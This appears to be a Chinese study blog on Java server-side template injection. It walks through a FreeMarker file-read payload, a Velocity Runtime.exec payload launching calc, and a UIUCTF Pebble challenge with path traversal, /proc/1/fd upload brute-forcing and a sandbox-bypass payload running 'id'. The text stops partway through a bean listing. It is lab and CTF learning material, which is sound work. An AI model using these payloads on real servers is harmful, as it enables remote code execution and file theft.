1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>] <#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _> <#assign byte=is.read()> <#if byte == -1> <#break> </#if> ${byte}, </#list>]
从 FreeMarker 2.3.17 版本开始,官方版本提供了三种不同的TemplateClassResolver实现类,用于控制通过new()函数创建类实例时的安全性:
UNRESTRICTED_RESOLVER:无限制解析器
允许通过ClassUtil.forName(className)反射加载任意 Java 类
存在一定安全风险,可能被用于执行任意代码
SAFER_RESOLVER:安全解析器(推荐生产环境使用)
默认禁止加载以下高危类:
freemarker.template.utility.JythonRuntime(Jython 执行引擎)
freemarker.template.utility.Execute(系统命令执行器)
freemarker.template.utility.ObjectConstructor(任意类构造器)
有效防范常见的代码注入攻击
ALLOWS_NOTHING_RESOLVER:禁用解析器
完全禁止通过new()函数创建任何类实例
适用于对安全性要求极高的场景
当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false
Velocity(沃 - 洛city) https://cloud.tencent.com/developer/article/2453782
Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用
Apache Velocity的语法简洁明了,主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成
变量引用 在Velocity模板中可以使用$符号来引用上下文中的变量,例如:
示例代码
1 2 3 4 5 #Java代码 context.put("name", "Al1ex"); #模板内容 Hello, $name! // 输出: Hello, Al1ex!
Velocity支持基本的条件判断,通过#if、#else和#end指令来实现:
1 2 3 4 5 #if($user.isLoggedIn()) Welcome back, $user.name! #else Please log in. #end
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 #Java代码 context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法 #模板内容 #if($user.isLoggedIn()) Welcome back, $user.name! #else Please log in. #end // 输出: Welcome back, Al1ex!
通过使用#foreach来遍历集合或数组
1 2 3 #foreach($item in $items) <li>$item</li> #end
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #Java代码 context.put("items", Arrays.asList("Apple", "Banana", "Cherry")); #模板内容 <ul> #foreach($item in $items) <li>$item</li> #end </ul> #输出: <ul> <li>Apple</li> <li>Banana</li> <li>Cherry</li> </ul>
Velocity支持定义宏,方便复用代码块,宏通过#macro定义,通过#end结束:
1 2 3 4 5 #macro(greet $name) Hello, $name! #end #greet("World")
示例代码
1 2 3 4 5 6 7 8 #模板内容 #macro(greet $name) Hello, $name! #end #greet("Alice") #输出: Hello, Alice!
方法调用 Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象
1 2 3 #set($currentDate = $dateTool.get("yyyy-MM-dd")) Today's date is $currentDate.
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 import org.apache.commons.lang3.time.DateUtils; #Java代码 context.put("dateTool", new DateUtils()); #模板内容 #set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd")) Today's date is $currentDate. #输出内容: Today's date is 2024-08-16
包含插入 Velocity支持包含其他模板文件,通过#include指令实现,例如: 主模板文件main.vm
1 2 3 4 5 6 7 Hello, $name! #if($isAdmin) #include("adminDashboard.vm") #else #include("userDashboard.vm") #end
用户仪表盘模板文件userDashboard.vm
1 2 Welcome to your user dashboard. Here are your notifications...
管理员仪表盘模板文件adminDashboard.vm
1 2 Welcome to the admin dashboard. You have access to all administrative tools.
假设我们有一下java代码来渲染主模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import org.apache.velocity.app.VelocityEngine; import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import java.io.StringWriter; public class IncludeExample { public static void main(String[] args) { // 初始化 Velocity 引擎 VelocityEngine velocityEngine = new VelocityEngine(); velocityEngine.init(); // 创建上下文并添加数据 VelocityContext context = new VelocityContext(); context.put("name", "John Doe"); context.put("isAdmin", true); // 或者 false,取决于用户权限 // 渲染主模板 Template template = velocityEngine.getTemplate("main.vm"); StringWriter writer = new StringWriter(); // 合并上下文与模板 template.merge(context, writer); // 输出结果 System.out.println(writer.toString()); } }
根据给定的上下文,如果isAdmin为 true,输出将会是
1 2 3 Hello, John Doe! Welcome to the admin dashboard. You have access to all administrative tools.
然后就是表示符类,这里只举一个最简单的例子 #if 用于条件判断
1 2 3 4 5 #if($age >= 18) You are an adult. #else You are a minor. #end
然后还是叫agent搭建好一个项目来供我们学习
Velocity.evaluate Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示
1 public static void evaluate(Context context, Writer writer, String templateName, String template)
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.velocity.velocitytest.controller; import org.apache.velocity.app.Velocity; import org.apache.velocity.VelocityContext; import org.springframework.web.bind.annotation.*; import java.io.StringWriter; @RestController public class VelocityController { @RequestMapping("/ssti/velocity1") @ResponseBody public String velocity1(@RequestParam(defaultValue="Al1ex") String username) { String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email"; Velocity.init(); VelocityContext ctx = new VelocityContext(); ctx.put("name", "Al1ex Al2ex Al3ex"); ctx.put("phone", "18892936458"); ctx.put("email", "Al1ex@heptagram.com"); StringWriter out = new StringWriter(); Velocity.evaluate(ctx, out, "test", templateString); return out.toString(); } }
通过上面的菲尼我们可以构造如下payload:
1 username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")
然后来到源码部分运行我们的项目
然后传参
先来下图部分打个断点
然后还得页面刷新下才行(就是在我们前面post传入参数那里,不然后面调试不了就一直卡着)
然后卡在我们调试的地方之后,步入一次
上面参数传递拼接templateString,带入Velocity.evaluate调用evaluate方法:
再步入一次
随后继续向下跟进,在这调用当前类中的evaluate
步入步入,再步过
随后在evaluate中先检查模板名称是否为空,不为空后调用parser进行模板解析
再步入步入进入parser
在这里首先检查是否已经初始化解析器,如果未初始化则进行初始化操作,随后从解析器池中获取一个Parser对象,如果池中没有可用的解析器,则将keepParser标志设为true以便找到对应的适配的解析器,紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板,返回的结果存储在var6中
随后调用parser进行模板解析,首先初始化和状态清理,随后进行解析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public SimpleNode parse(Reader reader, String templateName) throws ParseException { SimpleNode sn = null; this.currentTemplateName = templateName; try { this.token_source.clearStateVars(); this.velcharstream.ReInit(reader, 1, 1); this.ReInit((CharStream)this.velcharstream); sn = this.process(); } catch (MacroParseException var6) { this.rsvc.getLog().error("Parser Error: " + templateName, var6); throw var6; } catch (ParseException var7) { this.rsvc.getLog().error("Parser Exception: " + templateName, var7); throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName); } catch (TokenMgrError var8) { throw new ParseException("Lexical error: " + var8.toString()); } catch (Exception var9) { String msg = "Parser Error: " + templateName; this.rsvc.getLog().error(msg, var9); throw new VelocityException(msg, var9); } this.currentTemplateName = ""; return sn; }
这里大佬就省了很多步骤,必须调试(步过)到
1 var6 = parser.parse(reader, templateName);
然后再步入,不然跟不上他的思路
F7 步入、Shift+F8 步出之后,再按 F7,IDEA 判断这个方法被【单步过滤器】过滤了,直接跳过,表现跟 F8 步过一模一样 。要不就关了这个,我是又得重新调试了
然后我就不写要步入还是步过啥的了,差不多是到这里,我基本能搞定这个链子得完整一个流程到底要怎么怎么一步一步跟,啥时候能步过,啥时候步入了
然后步入这个方法process
随后进行模板渲染操作,如果nodeTree为null,则返回false,表示评估失败,如果nodeTree不为null,则调用render方法,使用提供的上下文、写入器和日志标签来渲染模板,将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true,否则返回false
render渲染代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) { InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context); ica.pushCurrentTemplateName(logTag); try { try { nodeTree.init(ica, this); } catch (TemplateInitException var18) { throw new ParseErrorException(var18, (String)null); } catch (RuntimeException var19) { throw var19; } catch (Exception var20) { String msg = "RuntimeInstance.render(): init exception for tag = " + logTag; this.getLog().error(msg, var20); throw new VelocityException(msg, var20); } try { if (this.provideEvaluateScope) { Object previous = ica.get(this.evaluateScopeName); context.put(this.evaluateScopeName, new Scope(this, previous)); } nodeTree.render(ica, writer); } catch (StopCommand var21) { if (!var21.isFor(this)) { throw var21; } if (this.getLog().isDebugEnabled()) { this.getLog().debug(var21.getMessage()); } } catch (IOException var22) { throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22); } } finally { ica.popCurrentTemplateName(); if (this.provideEvaluateScope) { Object obj = ica.get(this.evaluateScopeName); if (obj instanceof Scope) { Scope scope = (Scope)obj; if (scope.getParent() != null) { ica.put(this.evaluateScopeName, scope.getParent()); } else if (scope.getReplaced() != null) { ica.put(this.evaluateScopeName, scope.getReplaced()); } else { ica.remove(this.evaluateScopeName); } } } } return true; }
随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递
render的具体实现在这里会调用execute方法来进行具体的解析操作
execute的执行代码如下所示,可以看到这里的children即为我们传入的参数值:
这里不是不展示,之前这里和前面的这个很多都搞过了(实则是我跟丢了,大佬省的太多了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException { if (this.referenceType == 4) { return null; } else { Object result = this.getVariableValue(context, this.rootString); if (result == null && !this.strictRef) { return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo); } else { try { Object previousResult = result; int failedChild = -1; String methodName; for(int i = 0; i < this.numChildren; ++i) { if (this.strictRef && result == null) { methodName = this.jjtGetChild(i).getFirstToken().image; throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn())); } previousResult = result; result = this.jjtGetChild(i).execute(result, context); if (result == null && !this.strictRef) { failedChild = i; break; } } if (result == null) { if (failedChild == -1) { result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo); } else { StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString); for(int i = 0; i <= failedChild; ++i) { Node node = this.jjtGetChild(i); if (node instanceof ASTMethod) { name.append(".").append(((ASTMethod)node).getMethodName()).append("()"); } else { name.append(".").append(node.getFirstToken().image); } } if (this.jjtGetChild(failedChild) instanceof ASTMethod) { methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName(); result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo); } else { methodName = this.jjtGetChild(failedChild).getFirstToken().image; result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo); } } } return result; } catch (MethodInvocationException var9) { var9.setReferenceName(this.rootString); throw var9; } } } }
通过反射获取执行的类
最终递归解析到”cmd.exe /c calc”
最后完成解析执行,弹出cacl
template.merge 在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:
1 void merge(Context context, Writer writer)
参数说明:
Context context:包含动态数据的上下文对象,通常是VelocityContext的实例,使用上下文可以为模板提供变量和数据,使得模板能够在渲染时采用这些值
Writer writer: Writer类型的对象指定了合并后内容的输出目标,常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流
1 username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")
代码部分啥的我这边都搭建了,很多步骤还是一样的。这里就不写了
pebble(派博) https://github.com/Y4tacker/JavaSec/blob/main/%E6%AF%94%E8%B5%9B%E5%8F%8D%E6%80%9D/2022/8/uiuctf-pebble/index.md
还是agent帮我搭建好了项目,然后主页就是很简单的一个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.uiuctf.spoink; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import java.util.Optional; /** * 与原题一致:只有一个路由,参数 x 直接作为“视图名”返回给 Pebble 视图解析器。 * * application.properties 中 pebble.suffix 为空, * 因此前缀 templates + 用户输入拼接后可目录穿越 -> 任意文件读(LFI)。 */ @Controller public class HomeController { @RequestMapping({"/"}) public String getTemplate(@RequestParam("x") Optional<String> template, Model model) { return (String) template.orElse("home.pebble"); } }
然后application.properties当中一个很有趣的点,也就是这里没有后缀,因此想到了一个目录穿越的可能
1 2 3 4 5 6 7 8 9 10 # ä¸åé¢ä¸è´ï¼prefix æ åé符尾é¨ãsuffix 为空ï¼å¯¼è´è·¯å¾ç©¿è¶ pebble.prefix = templates pebble.suffix = server.port = 8080 # multipart ä¿æé»è®¤ï¼location 为空 -> ä¸ä¼ ä¸´æ¶æä»¶è½å¨ç³»ç»ä¸´æ¶ç®å½ï¼ spring.servlet.multipart.enabled = true spring.servlet.multipart.max-file-size = 100MB spring.servlet.multipart.max-request-size = 100MB
为什么我说上面那个点很有趣,其实就是第一个想分享的trick,路径穿越,简单来说pebble当中有两个loader一个是classpathloader,另一个是fileloader,优先会在classpath下尝试加载模板文件,如果寻找不到则使用fileloader尝试加载模板文件,其他调用栈不是很重要这里就不多提了
既然想实现任意文件读那第一个就别想了,我们来看第二个,它在com.mitchellbosecke.pebble.loader.FileLoader#getFile最终加载模板文件内容
可以很明显看到这里没有做路径限制,导致我们可以进行跨目录读任意文件
然后我的win本地也是成功目录穿越了,但是这个和大佬博客的好像不太一样,因为大佬跑项目应该是linux跑的
然后/etc/passwd我们就不行
但是比如
1 http://localhost:8080/?x=../spoink/pom.xml
就成功返回了我们要的这个
1 4.0.0 org.springframework.boot spring-boot-starter-parent 2.7.5 com.uiuctf spoink 0.0.1-SNAPSHOT spoink 2022 UIUCTF Spoink - Pebble SSTI 复现环境 17 true org.springframework.boot spring-boot-starter-web io.pebbletemplates pebble-spring-boot-starter 3.1.6 org.springframework.boot spring-boot-maven-plugin
但是这里就遇到第一个难点,如何上传文件?这里路由当中并没有上传文件的功能点
怎么办?其实很简单,我们也知道,我们的Spring MVC框架是围绕DispatcherServlet来设计的,这个Servlet会把请求分发给各个处理器,并支持可配置的处理器映射、视图渲染、本地化、时区与主题渲染和文件上传等功能,好了我都圈出来重点了
在这过程当中它会检查这是否是一个表单请求
正好我们也知道spring默认使用内置的tomcat引擎,
在处理表单的内容当中这会调用org.apache.catalina.connector.Request#getParts去处理解析内容,而这在之前的文章Tomcat文件上传流量层面系列文章当中也提到过,遗忘的可以去我的博客 考古
废话不多说,类似php的处理一样,它会先将上传的文件保存到一个临时目录再最终复制到目标文件夹,临时文件夹的获取在哪里,在org.apache.catalina.connector.Request#parseParts
发现是通过javax.servlet.MultipartConfigElement#getLocation函数获取到保存到临时路径
不难看到这里是空对吧,也就是默认值(默认的话后面会存到/tmp目录下),顺便多提一下,哪里可以设置这个location呢
在spring的启动过程当中,会根据spring.servlet.multipart.location的值设置这个内容,具体可以自行去参考org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 @ConfigurationProperties( prefix = "spring.servlet.multipart", ignoreUnknownFields = false ) public class MultipartProperties { private boolean enabled = true; private String location; private DataSize maxFileSize = DataSize.ofMegabytes(1L); private DataSize maxRequestSize = DataSize.ofMegabytes(10L); private DataSize fileSizeThreshold = DataSize.ofBytes(0L); private boolean resolveLazily = false; public MultipartProperties() { } public boolean getEnabled() { return this.enabled; } public void setEnabled(boolean enabled) { this.enabled = enabled; } public String getLocation() { return this.location; } public void setLocation(String location) { this.location = location; } public DataSize getMaxFileSize() { return this.maxFileSize; } public void setMaxFileSize(DataSize maxFileSize) { this.maxFileSize = maxFileSize; } public DataSize getMaxRequestSize() { return this.maxRequestSize; } public void setMaxRequestSize(DataSize maxRequestSize) { this.maxRequestSize = maxRequestSize; } public DataSize getFileSizeThreshold() { return this.fileSizeThreshold; } public void setFileSizeThreshold(DataSize fileSizeThreshold) { this.fileSizeThreshold = fileSizeThreshold; } public boolean isResolveLazily() { return this.resolveLazily; } public void setResolveLazily(boolean resolveLazily) { this.resolveLazily = resolveLazily; } public MultipartConfigElement createMultipartConfig() { MultipartConfigFactory factory = new MultipartConfigFactory(); PropertyMapper map = PropertyMapper.get().alwaysApplyingWhenNonNull(); map.from(this.fileSizeThreshold).to(factory::setFileSizeThreshold); map.from(this.location).whenHasText().to(factory::setLocation); map.from(this.maxRequestSize).to(factory::setMaxRequestSize); map.from(this.maxFileSize).to(factory::setMaxFileSize); return factory.createMultipartConfig(); } }
ok回到正文,如果这为空,就会保存到默认路径,也就是javax.servlet.context.tempdir,实际上就是在/tmp目录下
1 2 3 4 5 6 7 8 9 10 11 try { String locationStr = mce.getLocation(); File location; if (locationStr != null && locationStr.length() != 0) { location = new File(locationStr); if (!location.isAbsolute()) { location = (new File((File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"), locationStr)).getAbsoluteFile(); } } else { location = (File)context.getServletContext().getAttribute("javax.servlet.context.tempdir"); }
这里调试可以看到将会保存在这个看着就不能爆破的文件夹下,
且不说前面这个又臭又长的文件夹,在最终生成临时文件时org.apache.tomcat.util.http.fileupload.disk.DiskFileItem#getTempFile
还有靠UID随机生成的文件名,真的是不怕麻烦
1 2 3 4 5 6 7 8 9 10 11 12 13 protected File getTempFile() { if (this.tempFile == null) { File tempDir = this.repository; if (tempDir == null) { tempDir = new File(System.getProperty("java.io.tmpdir")); } String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId()); this.tempFile = new File(tempDir, tempFileName); } return this.tempFile; }
不过当然我们肯定是有办法的啦,别忘了有个东西叫文件描述符,这玩意儿是啥我想大家都知道,因此我们可以通过上传大文件多线程狂轰乱炸,burp都给我冲起来!不得不说狂轰乱炸法yyds!按理说上传完了以后这玩意儿就应该关闭,结果我发现我停止后,去和yzddmr6吹牛一分钟都还在。
当然其实还可以通过curl命令的–limit-rate参数来限制HTTP请求和回应的带宽,但我觉得burp狂轰乱炸更适合我.
1 curl --limit-rate 1k -X POST http://vps:1234 -F "file=@/tmp/1.txt"
顺便多提一句你可能会好奇为什么一定是/proc/1/fd,因为这是在docker里面,之前看docker逃逸的时候看到的
这里原理的话,其实CTF上我记得我大一的时候就见过了
慢上传拖延文件句柄存活时间 + 多线程 Burp 批量爆破 fd 数字,/proc/1/fd
利用现有环境Bypass最新版Pebble模板引擎限制
1 2 3 4 5 6 7 8 9 10 11 12 {% set cmd = 'id' %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }}
结果命令行大大的问号?然后想到了这是最新版修复了之前的问题
根据报错内容的显示,接下来我们看看具体做的哪些限制,可以看到够恶心的不能是下面这么多类的实例???并且能调用FORBIDDEN_METHODS 当中的方法,特别是判断是否为Class实例将我们反射的路给断掉了(在这个模板语法当中只能通过xx.class.forName去获取其他对象) ,剩下代码也很简单就不带着读了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class BlacklistMethodAccessValidator implements MethodAccessValidator { private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"}; public BlacklistMethodAccessValidator() { } public boolean isMethodAccessAllowed(Object object, Method method) { boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method); return !methodForbidden; } private boolean isUnsafeMethod(Method member) { return this.isAnyOfMethods(member, FORBIDDEN_METHODS); } private boolean isAnyOfMethods(Method member, String... methods) { String[] var3 = methods; int var4 = methods.length; for(int var5 = 0; var5 < var4; ++var5) { String method = var3[var5]; if (this.isMethodWithName(member, method)) { return true; } } return false; } private boolean isMethodWithName(Method member, String method) { return member.getName().equals(method); } }
我们也知道Spring 应用程序的许多实例都隐式注册为bean,因此我们能不能从bean当中找到一个对象而这个对象当中保存了classloader对象,通过获取到它我们就能通过执行loadClass加载到任意对象
既然如此,第一反应其实就是想到去上下文中看看有没有这些bean对象,而pebble在初始化上下文时是在com.mitchellbosecke.pebble.template.PebbleTemplateImpl#evaluate(java.io.Writer, java.util.Map<java.lang.String,java.lang.Object>, java.util.Locale)当中
可以看到这个map当中存了beans对象,而这个beans对象当中存的是那些bean对象,一方面我们可以直接遍历输出到控制台
另一方面我们也可以直接在代码当中看一眼,反正不费事往上看看,可以看到是在com.mitchellbosecke.pebble.spring.servlet.PebbleView#addVariablesToModel
当中,获取了spring的应用程序上下文并添加到beans属性当中
1 2 3 4 5 6 private void addVariablesToModel(Map<String, Object> model, HttpServletRequest request, HttpServletResponse response) { model.put("beans", new Beans(this.getApplicationContext())); model.put("request", request); model.put("response", response); model.put("session", request.getSession(false)); }
因此我们可以通过表达式获取到这个上下文当中注册的bean,去尝试寻找一些其他的属性来绕过限制,
因此为了方便遍历bean当中的类,我们在原路由前加上获取上下文的部分代码
1 2 3 4 5 6 7 8 9 10 @RequestMapping({"/"}) public String getTemplate(@RequestParam("x") Optional<String> template, Model model) { ServletContext sss = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest().getSession().getServletContext(); org.springframework.web.context.WebApplicationContext context = org.springframework.web.context.support.WebApplicationContextUtils.getWebApplicationContext(sss); String[] beanDefinitionNames = context.getBeanDefinitionNames(); for (String o:beanDefinitionNames) { System.out.println(o.toString()); } return (String)template.orElse("home.pebble"); }
重新启动项目并访问可以得到控制台输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 //输出 org.springframework.context.annotation.internalConfigurationAnnotationProcessor org.springframework.context.annotation.internalAutowiredAnnotationProcessor org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.event.internalEventListenerProcessor org.springframework.context.event.internalEventListenerFactory spoinkApplication org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory homeController pebbleLoader org.springframework.boot.autoconfigure.AutoConfigurationPackages org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration propertySourcesPlaceholderConfigurer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration websocketServletWebServerCustomizer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat tomcatServletWebServerFactory org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration servletWebServerFactoryCustomizer tomcatServletWebServerFactoryCustomizer org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor org.springframework.boot.context.internalConfigurationPropertiesBinderFactory org.springframework.boot.context.internalConfigurationPropertiesBinder org.springframework.boot.context.properties.BoundConfigurationProperties org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter server-org.springframework.boot.autoconfigure.web.ServerProperties webServerFactoryCustomizerBeanPostProcessor errorPageRegistrarBeanPostProcessor org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration dispatcherServlet spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration dispatcherServletRegistration org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration taskExecutorBuilder applicationTaskExecutor spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration error beanNameViewResolver org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration conventionErrorViewResolver spring.web-org.springframework.boot.autoconfigure.web.WebProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration errorAttributes basicErrorController errorPageCustomizer preserveErrorControllerTargetClassPostProcessor org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration requestMappingHandlerAdapter requestMappingHandlerMapping welcomePageHandlerMapping localeResolver themeResolver flashMapManager mvcConversionService mvcValidator mvcContentNegotiationManager mvcPatternParser mvcUrlPathHelper mvcPathMatcher viewControllerHandlerMapping beanNameHandlerMapping routerFunctionMapping resourceHandlerMapping mvcResourceUrlProvider defaultServletHandlerMapping handlerFunctionAdapter mvcUriComponentsContributor httpRequestHandlerAdapter simpleControllerHandlerAdapter handlerExceptionResolver mvcViewResolver mvcHandlerMappingIntrospector viewNameTranslator org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter defaultViewResolver viewResolver requestContextFilter org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration formContentFilter com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration pebbleViewResolver com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration springExtension pebbleEngine pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration mbeanExporter objectNamingStrategy mbeanServer org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration springApplicationAdminRegistrar org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration forceAutoProxyCreatorToUseClassProxying org.springframework.boot.autoconfigure.aop.AopAutoConfiguration org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration applicationAvailability org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration standardJacksonObjectMapperBuilderCustomizer spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration jacksonObjectMapperBuilder org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration parameterNamesModule org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration jacksonObjectMapper org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration jsonComponentModule org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration lifecycleProcessor spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration stringHttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration mappingJackson2HttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration messageConverters org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties 